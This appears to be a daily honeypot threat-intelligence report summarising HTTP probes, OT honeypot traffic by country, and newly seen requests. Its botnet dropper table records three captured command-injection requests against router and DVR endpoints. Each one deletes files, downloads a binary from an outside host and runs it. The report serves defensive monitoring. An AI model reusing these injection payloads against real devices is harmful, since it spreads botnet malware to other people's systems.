Daily Report: 2025-06-02#
Executive summary#
interaction report on http service of various Hhoneypot around the world.
- Executive summary
- OT report simplified
- Botnet dropper behaviour
- List of request
- List of country_iso_code
executive_summary#
In today’s repport, we detected 3 stage 1 IP address(es), linked to 3 dropper URL(s).
There are 10 new requests that have never been observed before (these were added to the monitored request database.).
A total of 1375 requests were recorded during the day, originating from 3 different countries, with a peak of 318 requests coming from BG.
ot_simplified_report#
simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.
source_country | targeted_country |
---|---|
US | Germany |
HK | Germany |
SG | Germany |
JP | Germany |
US | Germany |
US | Dubai |
FR | Israel |
MD | Israel |
CN | Georgia |
botnet_dropper_behaviour#
remote_addr | request |
---|---|
103.207.125.80 | GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0 |
88.247.29.37 | GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 |
176.65.148.234 | POST /device.rsp?opt=sys&cmd=S_O_S_T_R_E_A_MAX&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F141.98.11.175%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20router HTTP/1.1 |
request#
The list of requests presented here are those that have not yet been yet integrated into the request database.
number_of_occurence | request | |
---|---|---|
118 | 4 | CONNECT packetsdatabase.com:443 HTTP/1.1 |
123 | 3 | GET /APPS/.env HTTP/1.1 |
219 | 1 | GET /Nmap/folder/check1748876450 HTTP/1.1 |
301 | 1 | GET /socket.io/1/?t=1748841403604 HTTP/1.1 |
380 | 1 | GET /NmapUpperCheck1748876450 HTTP/1.1 |
402 | 1 | GET /BkmB HTTP/1.1 |
427 | 1 | GET /nmaplowercheck1748876450 HTTP/1.1 |
431 | 1 | GET /nmaplowercheck1748853379 HTTP/1.1 |
432 | 1 | GET /NmapUpperCheck1748853379 HTTP/1.1 |
433 | 1 | GET /Nmap/folder/check1748853379 HTTP/1.1 |
country_iso_code#
number_of_occurence | country_iso_code | |
---|---|---|
0 | 318 | BG |
1 | 206 | US |
2 | 147 | GB |
3 | 95 | CN |
4 | 84 | DE |
5 | 82 | JP |
6 | 51 | HK |
7 | 48 | KZ |
8 | 39 | IN |
9 | 37 | NL |
10 | 34 | FR |
11 | 26 | PL |
12 | 23 | CH |
13 | 22 | EE |
14 | 20 | MD |
15 | 18 | SC |
16 | 16 | GH |
17 | 14 | NG |
18 | 13 | AU |
19 | 12 | AO |
20 | 10 | RO |
21 | 8 | PT |
22 | 7 | VN |
23 | 7 | BR |
24 | 6 | BE |
25 | 6 | SG |
26 | 3 | TH |
27 | 3 | CA |
28 | 3 | ZA |
29 | 2 | DK |
30 | 2 | RU |
31 | 2 | MN |
32 | 2 | KW |
33 | 2 | IR |
34 | 2 | IE |
35 | 1 | ES |
36 | 1 | IT |
37 | 1 | TR |
38 | 1 | IL |
39 | 1 | ID |